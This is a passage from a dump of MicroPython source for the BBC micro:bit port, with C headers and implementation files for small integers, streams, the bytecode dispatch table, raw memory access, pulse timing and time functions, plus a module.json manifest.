WORD_MSBIT_HIGH) == 0) // Mask to truncate mp_int_t to positive value #define MP_SMALL_INT_POSITIVE_MASK ~(WORD_MSBIT_HIGH | (WORD_MSBIT_HIGH >> 1)) #elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_B #define MP_SMALL_INT_MIN ((mp_int_t)(((mp_int_t)WORD_MSBIT_HIGH) >> 2)) #define MP_SMALL_INT_FITS(n) ((((n) & MP_SMALL_INT_MIN) == 0) || (((n) & MP_SMALL_INT_MIN) == MP_SMALL_INT_MIN)) // Mask to truncate mp_int_t to positive value #define MP_SMALL_INT_POSITIVE_MASK ~(WORD_MSBIT_HIGH | (WORD_MSBIT_HIGH >> 1) | (WORD_MSBIT_HIGH >> 2)) #elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D #define MP_SMALL_INT_MIN ((mp_int_t)(((mp_int_t)0xffffffff80000000) >> 1)) #define MP_SMALL_INT_FITS(n) ((((n) ^ ((n) << 1)) & 0xffffffff80000000) == 0) // Mask to truncate mp_int_t to positive value #define MP_SMALL_INT_POSITIVE_MASK ~(0xffffffff80000000 | (0xffffffff80000000 >> 1)) #endif #endif #define MP_SMALL_INT_MAX ((mp_int_t)(~(MP_SMALL_INT_MIN))) bool mp_small_int_mul_overflow(mp_int_t x, mp_int_t y); mp_int_t mp_small_int_modulo(mp_int_t dividend, mp_int_t divisor); mp_int_t mp_small_int_floor_divide(mp_int_t num, mp_int_t denom); #endif // MICROPY_INCLUDED_PY_SMALLINT_H ================================================ FILE: micropython/inc/py/stackctrl.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_STACKCTRL_H #define MICROPY_INCLUDED_PY_STACKCTRL_H #include "py/mpconfig.h" void mp_stack_ctrl_init(void); void mp_stack_set_top(void *top); mp_uint_t mp_stack_usage(void); #if MICROPY_STACK_CHECK void mp_stack_set_limit(mp_uint_t limit); void mp_stack_check(void); #define MP_STACK_CHECK() mp_stack_check() #else #define mp_stack_set_limit(limit) #define MP_STACK_CHECK() #endif #endif // MICROPY_INCLUDED_PY_STACKCTRL_H ================================================ FILE: micropython/inc/py/stream.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_STREAM_H #define MICROPY_INCLUDED_PY_STREAM_H #include "py/obj.h" #include "py/mperrno.h" #define MP_STREAM_ERROR ((mp_uint_t)-1) // Stream ioctl request codes #define MP_STREAM_FLUSH (1) #define MP_STREAM_SEEK (2) #define MP_STREAM_POLL (3) //#define MP_STREAM_CLOSE (4) // Not yet implemented #define MP_STREAM_TIMEOUT (5) // Get/set timeout (single op) #define MP_STREAM_GET_OPTS (6) // Get stream options #define MP_STREAM_SET_OPTS (7) // Set stream options #define MP_STREAM_GET_DATA_OPTS (8) // Get data/message options #define MP_STREAM_SET_DATA_OPTS (9) // Set data/message options // These poll ioctl values are compatible with Linux #define MP_STREAM_POLL_RD (0x0001) #define MP_STREAM_POLL_WR (0x0004) #define MP_STREAM_POLL_ERR (0x0008) #define MP_STREAM_POLL_HUP (0x0010) // Argument structure for MP_STREAM_SEEK struct mp_stream_seek_t { // If whence == MP_SEEK_SET, offset should be treated as unsigned. // This allows dealing with full-width stream sizes (16, 32, 64, // etc. bits). For other seek types, should be treated as signed. mp_off_t offset; int whence; }; // seek ioctl "whence" values #define MP_SEEK_SET (0) #define MP_SEEK_CUR (1) #define MP_SEEK_END (2) MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read1_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_readinto_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_unbuffered_readline_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_stream_unbuffered_readlines_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_write_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_stream_write1_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_seek_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_stream_tell_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_stream_flush_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_ioctl_obj); // these are for mp_get_stream_raise and can be or'd together #define MP_STREAM_OP_READ (1) #define MP_STREAM_OP_WRITE (2) #define MP_STREAM_OP_IOCTL (4) const mp_stream_p_t *mp_get_stream_raise(mp_obj_t self_in, int flags); mp_obj_t mp_stream_close(mp_obj_t stream); // Iterator which uses mp_stream_unbuffered_readline_obj mp_obj_t mp_stream_unbuffered_iter(mp_obj_t self); mp_obj_t mp_stream_write(mp_obj_t self_in, const void *buf, size_t len, byte flags); // C-level helper functions #define MP_STREAM_RW_READ 0 #define MP_STREAM_RW_WRITE 2 #define MP_STREAM_RW_ONCE 1 mp_uint_t mp_stream_rw(mp_obj_t stream, void *buf, mp_uint_t size, int *errcode, byte flags); #define mp_stream_write_exactly(stream, buf, size, err) mp_stream_rw(stream, (byte*)buf, size, err, MP_STREAM_RW_WRITE) #define mp_stream_read_exactly(stream, buf, size, err) mp_stream_rw(stream, buf, size, err, MP_STREAM_RW_READ) void mp_stream_write_adaptor(void *self, const char *buf, size_t len); #if MICROPY_STREAMS_POSIX_API // Functions with POSIX-compatible signatures ssize_t mp_stream_posix_write(mp_obj_t stream, const void *buf, size_t len); ssize_t mp_stream_posix_read(mp_obj_t stream, void *buf, size_t len); off_t mp_stream_posix_lseek(mp_obj_t stream, off_t offset, int whence); int mp_stream_posix_fsync(mp_obj_t stream); #endif #if MICROPY_STREAMS_NON_BLOCK #define mp_is_nonblocking_error(errno) ((errno) == EAGAIN || (errno) == EWOULDBLOCK) #else #define mp_is_nonblocking_error(errno) (0) #endif #endif // MICROPY_INCLUDED_PY_STREAM_H ================================================ FILE: micropython/inc/py/unicode.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_UNICODE_H #define MICROPY_INCLUDED_PY_UNICODE_H #include "py/mpconfig.h" #include "py/misc.h" mp_uint_t utf8_ptr_to_index(const byte *s, const byte *ptr); #endif // MICROPY_INCLUDED_PY_UNICODE_H ================================================ FILE: micropython/inc/py/vmentrytable.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #if __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winitializer-overrides" #endif // __clang__ static const void *const entry_table[256] = { [0 ... 255] = &&entry_default, [MP_BC_LOAD_CONST_FALSE] = &&entry_MP_BC_LOAD_CONST_FALSE, [MP_BC_LOAD_CONST_NONE] = &&entry_MP_BC_LOAD_CONST_NONE, [MP_BC_LOAD_CONST_TRUE] = &&entry_MP_BC_LOAD_CONST_TRUE, [MP_BC_LOAD_CONST_SMALL_INT] = &&entry_MP_BC_LOAD_CONST_SMALL_INT, [MP_BC_LOAD_CONST_STRING] = &&entry_MP_BC_LOAD_CONST_STRING, [MP_BC_LOAD_CONST_OBJ] = &&entry_MP_BC_LOAD_CONST_OBJ, [MP_BC_LOAD_NULL] = &&entry_MP_BC_LOAD_NULL, [MP_BC_LOAD_FAST_N] = &&entry_MP_BC_LOAD_FAST_N, [MP_BC_LOAD_DEREF] = &&entry_MP_BC_LOAD_DEREF, [MP_BC_LOAD_NAME] = &&entry_MP_BC_LOAD_NAME, [MP_BC_LOAD_GLOBAL] = &&entry_MP_BC_LOAD_GLOBAL, [MP_BC_LOAD_ATTR] = &&entry_MP_BC_LOAD_ATTR, [MP_BC_LOAD_METHOD] = &&entry_MP_BC_LOAD_METHOD, [MP_BC_LOAD_SUPER_METHOD] = &&entry_MP_BC_LOAD_SUPER_METHOD, [MP_BC_LOAD_BUILD_CLASS] = &&entry_MP_BC_LOAD_BUILD_CLASS, [MP_BC_LOAD_SUBSCR] = &&entry_MP_BC_LOAD_SUBSCR, [MP_BC_STORE_FAST_N] = &&entry_MP_BC_STORE_FAST_N, [MP_BC_STORE_DEREF] = &&entry_MP_BC_STORE_DEREF, [MP_BC_STORE_NAME] = &&entry_MP_BC_STORE_NAME, [MP_BC_STORE_GLOBAL] = &&entry_MP_BC_STORE_GLOBAL, [MP_BC_STORE_ATTR] = &&entry_MP_BC_STORE_ATTR, [MP_BC_STORE_SUBSCR] = &&entry_MP_BC_STORE_SUBSCR, [MP_BC_DELETE_FAST] = &&entry_MP_BC_DELETE_FAST, [MP_BC_DELETE_DEREF] = &&entry_MP_BC_DELETE_DEREF, [MP_BC_DELETE_NAME] = &&entry_MP_BC_DELETE_NAME, [MP_BC_DELETE_GLOBAL] = &&entry_MP_BC_DELETE_GLOBAL, [MP_BC_DUP_TOP] = &&entry_MP_BC_DUP_TOP, [MP_BC_DUP_TOP_TWO] = &&entry_MP_BC_DUP_TOP_TWO, [MP_BC_POP_TOP] = &&entry_MP_BC_POP_TOP, [MP_BC_ROT_TWO] = &&entry_MP_BC_ROT_TWO, [MP_BC_ROT_THREE] = &&entry_MP_BC_ROT_THREE, [MP_BC_JUMP] = &&entry_MP_BC_JUMP, [MP_BC_POP_JUMP_IF_TRUE] = &&entry_MP_BC_POP_JUMP_IF_TRUE, [MP_BC_POP_JUMP_IF_FALSE] = &&entry_MP_BC_POP_JUMP_IF_FALSE, [MP_BC_JUMP_IF_TRUE_OR_POP] = &&entry_MP_BC_JUMP_IF_TRUE_OR_POP, [MP_BC_JUMP_IF_FALSE_OR_POP] = &&entry_MP_BC_JUMP_IF_FALSE_OR_POP, [MP_BC_SETUP_WITH] = &&entry_MP_BC_SETUP_WITH, [MP_BC_WITH_CLEANUP] = &&entry_MP_BC_WITH_CLEANUP, [MP_BC_UNWIND_JUMP] = &&entry_MP_BC_UNWIND_JUMP, [MP_BC_SETUP_EXCEPT] = &&entry_MP_BC_SETUP_EXCEPT, [MP_BC_SETUP_FINALLY] = &&entry_MP_BC_SETUP_FINALLY, [MP_BC_END_FINALLY] = &&entry_MP_BC_END_FINALLY, [MP_BC_GET_ITER] = &&entry_MP_BC_GET_ITER, [MP_BC_GET_ITER_STACK] = &&entry_MP_BC_GET_ITER_STACK, [MP_BC_FOR_ITER] = &&entry_MP_BC_FOR_ITER, [MP_BC_POP_BLOCK] = &&entry_MP_BC_POP_BLOCK, [MP_BC_POP_EXCEPT] = &&entry_MP_BC_POP_EXCEPT, [MP_BC_BUILD_TUPLE] = &&entry_MP_BC_BUILD_TUPLE, [MP_BC_BUILD_LIST] = &&entry_MP_BC_BUILD_LIST, [MP_BC_BUILD_MAP] = &&entry_MP_BC_BUILD_MAP, [MP_BC_STORE_MAP] = &&entry_MP_BC_STORE_MAP, #if MICROPY_PY_BUILTINS_SET [MP_BC_BUILD_SET] = &&entry_MP_BC_BUILD_SET, #endif #if MICROPY_PY_BUILTINS_SLICE [MP_BC_BUILD_SLICE] = &&entry_MP_BC_BUILD_SLICE, #endif [MP_BC_STORE_COMP] = &&entry_MP_BC_STORE_COMP, [MP_BC_UNPACK_SEQUENCE] = &&entry_MP_BC_UNPACK_SEQUENCE, [MP_BC_UNPACK_EX] = &&entry_MP_BC_UNPACK_EX, [MP_BC_MAKE_FUNCTION] = &&entry_MP_BC_MAKE_FUNCTION, [MP_BC_MAKE_FUNCTION_DEFARGS] = &&entry_MP_BC_MAKE_FUNCTION_DEFARGS, [MP_BC_MAKE_CLOSURE] = &&entry_MP_BC_MAKE_CLOSURE, [MP_BC_MAKE_CLOSURE_DEFARGS] = &&entry_MP_BC_MAKE_CLOSURE_DEFARGS, [MP_BC_CALL_FUNCTION] = &&entry_MP_BC_CALL_FUNCTION, [MP_BC_CALL_FUNCTION_VAR_KW] = &&entry_MP_BC_CALL_FUNCTION_VAR_KW, [MP_BC_CALL_METHOD] = &&entry_MP_BC_CALL_METHOD, [MP_BC_CALL_METHOD_VAR_KW] = &&entry_MP_BC_CALL_METHOD_VAR_KW, [MP_BC_RETURN_VALUE] = &&entry_MP_BC_RETURN_VALUE, [MP_BC_RAISE_VARARGS] = &&entry_MP_BC_RAISE_VARARGS, [MP_BC_YIELD_VALUE] = &&entry_MP_BC_YIELD_VALUE, [MP_BC_YIELD_FROM] = &&entry_MP_BC_YIELD_FROM, [MP_BC_IMPORT_NAME] = &&entry_MP_BC_IMPORT_NAME, [MP_BC_IMPORT_FROM] = &&entry_MP_BC_IMPORT_FROM, [MP_BC_IMPORT_STAR] = &&entry_MP_BC_IMPORT_STAR, [MP_BC_LOAD_CONST_SMALL_INT_MULTI ... MP_BC_LOAD_CONST_SMALL_INT_MULTI + 63] = &&entry_MP_BC_LOAD_CONST_SMALL_INT_MULTI, [MP_BC_LOAD_FAST_MULTI ... MP_BC_LOAD_FAST_MULTI + 15] = &&entry_MP_BC_LOAD_FAST_MULTI, [MP_BC_STORE_FAST_MULTI ... MP_BC_STORE_FAST_MULTI + 15] = &&entry_MP_BC_STORE_FAST_MULTI, [MP_BC_UNARY_OP_MULTI ... MP_BC_UNARY_OP_MULTI + 6] = &&entry_MP_BC_UNARY_OP_MULTI, [MP_BC_BINARY_OP_MULTI ... MP_BC_BINARY_OP_MULTI + 35] = &&entry_MP_BC_BINARY_OP_MULTI, }; #if __clang__ #pragma clang diagnostic pop #endif // __clang__ ================================================ FILE: micropython/module.json ================================================ { "name": "microbit-micropython", "version": "1.0.1", "license": "MIT", "description": "MicroPython port to the BBC micro:bit", "keywords": ["mbed-classic", "microbit", "runtime", "library", "micropython"], "author": "Damien P George ", "homepage": "http://micropython.org", "dependencies":{ "microbit-dal":"lancaster-university/microbit-dal#v2.1.1" }, "extraIncludes":[ "inc", "inc/microbit" ], "bin": "./source" } ================================================ FILE: micropython/source/extmod/machine_mem.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "extmod/machine_mem.h" #include "py/nlr.h" #if MICROPY_PY_MACHINE // If you wish to override the functions for mapping the machine_mem read/write // address, then add a #define for MICROPY_MACHINE_MEM_GET_READ_ADDR and/or // MICROPY_MACHINE_MEM_GET_WRITE_ADDR in your mpconfigport.h. Since the // prototypes are identical, it is allowable for both of the macros to evaluate // the to same function. // // It is expected that the modmachine.c file for a given port will provide the // implementations, if the default implementation isn't used. #if !defined(MICROPY_MACHINE_MEM_GET_READ_ADDR) || !defined(MICROPY_MACHINE_MEM_GET_WRITE_ADDR) STATIC uintptr_t machine_mem_get_addr(mp_obj_t addr_o, uint align) { uintptr_t addr = mp_obj_int_get_truncated(addr_o); if ((addr & (align - 1)) != 0) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "address %08x is not aligned to %d bytes", addr, align)); } return addr; } #if !defined(MICROPY_MACHINE_MEM_GET_READ_ADDR) #define MICROPY_MACHINE_MEM_GET_READ_ADDR machine_mem_get_addr #endif #if !defined(MICROPY_MACHINE_MEM_GET_WRITE_ADDR) #define MICROPY_MACHINE_MEM_GET_WRITE_ADDR machine_mem_get_addr #endif #endif STATIC void machine_mem_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; machine_mem_obj_t *self = MP_OBJ_TO_PTR(self_in); mp_printf(print, "<%u-bit memory>", 8 * self->elem_size); } STATIC mp_obj_t machine_mem_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { // TODO support slice index to read/write multiple values at once machine_mem_obj_t *self = MP_OBJ_TO_PTR(self_in); if (value == MP_OBJ_NULL) { // delete return MP_OBJ_NULL; // op not supported } else if (value == MP_OBJ_SENTINEL) { // load uintptr_t addr = MICROPY_MACHINE_MEM_GET_READ_ADDR(index, self->elem_size); uint32_t val; switch (self->elem_size) { case 1: val = (*(uint8_t*)addr); break; case 2: val = (*(uint16_t*)addr); break; default: val = (*(uint32_t*)addr); break; } return mp_obj_new_int(val); } else { // store uintptr_t addr = MICROPY_MACHINE_MEM_GET_WRITE_ADDR(index, self->elem_size); uint32_t val = mp_obj_get_int_truncated(value); switch (self->elem_size) { case 1: (*(uint8_t*)addr) = val; break; case 2: (*(uint16_t*)addr) = val; break; default: (*(uint32_t*)addr) = val; break; } return mp_const_none; } } const mp_obj_type_t machine_mem_type = { { &mp_type_type }, .name = MP_QSTR_mem, .print = machine_mem_print, .subscr = machine_mem_subscr, }; const machine_mem_obj_t machine_mem8_obj = {{&machine_mem_type}, 1}; const machine_mem_obj_t machine_mem16_obj = {{&machine_mem_type}, 2}; const machine_mem_obj_t machine_mem32_obj = {{&machine_mem_type}, 4}; #endif // MICROPY_PY_MACHINE ================================================ FILE: micropython/source/extmod/machine_pulse.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #include "py/mperrno.h" #include "extmod/machine_pulse.h" #if MICROPY_PY_MACHINE_PULSE mp_uint_t machine_time_pulse_us(mp_hal_pin_obj_t pin, int pulse_level, mp_uint_t timeout_us) { mp_uint_t start = mp_hal_ticks_us(); while (mp_hal_pin_read(pin) != pulse_level) { if ((mp_uint_t)(mp_hal_ticks_us() - start) >= timeout_us) { return (mp_uint_t)-2; } } start = mp_hal_ticks_us(); while (mp_hal_pin_read(pin) == pulse_level) { if ((mp_uint_t)(mp_hal_ticks_us() - start) >= timeout_us) { return (mp_uint_t)-1; } } return mp_hal_ticks_us() - start; } STATIC mp_obj_t machine_time_pulse_us_(size_t n_args, const mp_obj_t *args) { mp_hal_pin_obj_t pin = mp_hal_get_pin_obj(args[0]); int level = 0; if (mp_obj_is_true(args[1])) { level = 1; } mp_uint_t timeout_us = 1000000; if (n_args > 2) { timeout_us = mp_obj_get_int(args[2]); } mp_uint_t us = machine_time_pulse_us(pin, level, timeout_us); // May return -1 or -2 in case of timeout return mp_obj_new_int(us); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(machine_time_pulse_us_obj, 2, 3, machine_time_pulse_us_); #endif ================================================ FILE: micropython/source/extmod/utime_mphal.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * Copyright (c) 2016 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpconfig.h" #if MICROPY_PY_UTIME_MP_HAL #include #include "py/obj.h" #include "py/mphal.h" #include "py/smallint.h" #include "py/runtime.h" #include "extmod/utime_mphal.h" STATIC mp_obj_t time_sleep(mp_obj_t seconds_o) { #if MICROPY_PY_BUILTINS_FLOAT mp_hal_delay_ms((mp_uint_t)(1000 * mp_obj_get_float(seconds_o))); #else mp_hal_delay_ms(1000 * mp_obj_get_int(seconds_o)); #endif return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mp_utime_sleep_obj, time_sleep); STATIC mp_obj_t time_sleep_ms(mp_obj_t arg) { mp_int_t ms = mp_obj_get_int(arg); if (ms > 0) { mp_hal_delay_ms(ms); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mp_utime_sleep_ms_obj, time_sleep_ms); STATIC mp_obj_t time_sleep_us(mp_obj_t arg) { mp_int_t us = mp_obj_get_int(arg); if (us > 0) { mp_hal_delay_us(us); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(mp_utime_sleep_us_obj, time_sleep_us); STATIC mp_obj_t time_ticks_ms(void) { return MP_OBJ_NEW_SMALL_INT(mp_hal_ticks_ms() & (MICROPY_PY_UTIME_TICKS_PERIOD - 1)); } MP_DEFINE_CONST_FUN_OBJ_0(mp_utime_ticks_ms_obj, time_ticks_ms); STATIC mp_obj_t time_ticks_us(void) { return MP_OBJ_NEW_SMALL_INT(mp_hal_ticks_us() & (MICROPY_PY_UTIME_TICKS_PERIOD - 1)); } MP_DEFINE_CONST_FUN_OBJ_0(mp_utime_ticks_us_obj, time_ticks_us); STATIC mp_obj_t time_ticks_cpu(void) { return MP_OBJ_NEW_SMALL_INT(mp_hal_ticks_cpu() & (MICROPY_PY_UTIME_TICKS_PERIOD - 1)); } MP_DEFINE_CONST_FUN_OBJ_0(mp_utime_ticks_cpu_obj, time_ticks_cpu); STATIC mp_obj_t time_ticks_diff(mp_obj_t end_in, mp_obj_t start_in) { // we assume that the arguments come from ticks_xx so are small ints mp_uint_t start = MP_OBJ_SMALL_INT_VALUE(start_in); mp_uint_t end = MP_OBJ_SMALL_INT_VALUE(end_in); // Optimized formula avoiding if conditions. We adjust difference "forward", // wrap it around and adjust back. mp_int_t diff = ((end - start + MICROPY_PY_UTIME_TICKS_PERIOD / 2) & (MICROPY_PY_UTIME_TICKS_PERIOD - 1)) - MICROPY_PY_UTIME_TICKS_PERIOD / 2; return MP_OBJ_NEW_SMALL_INT(diff); } MP_DEFINE_CONST_FUN_OBJ_2(mp_utime_ticks_diff_obj, time_ticks_diff); STATIC mp_obj_t time_ticks_add(mp_obj_t ticks_in, mp_obj_t delta_in) { // we assume that first argument come from ticks_xx so is small int mp_uint_t ticks = MP_OBJ_SMALL_INT_VALUE(ticks_in); mp_uint_t delta = mp_obj_get_int(delta_in); return MP_OBJ_NEW_SMALL_INT((ticks + delta) & (MICROPY_PY_UTIME_TICKS_PERIOD - 1)); } MP_DEFINE_CONST_FUN_OBJ_2(mp_utime_ticks_add_obj, time_ticks_add); #endif // MICROPY_PY_UTIME_MP_HAL ================================================ FILE: micropython/source/lib/iters.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015/6 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #include "lib/iters.h" typedef struct _repeat_iterator_t { mp_obj_base_t base; mp_obj_t iterable; mp_int_t index; } repeat_iterator_t; static mp_obj_t 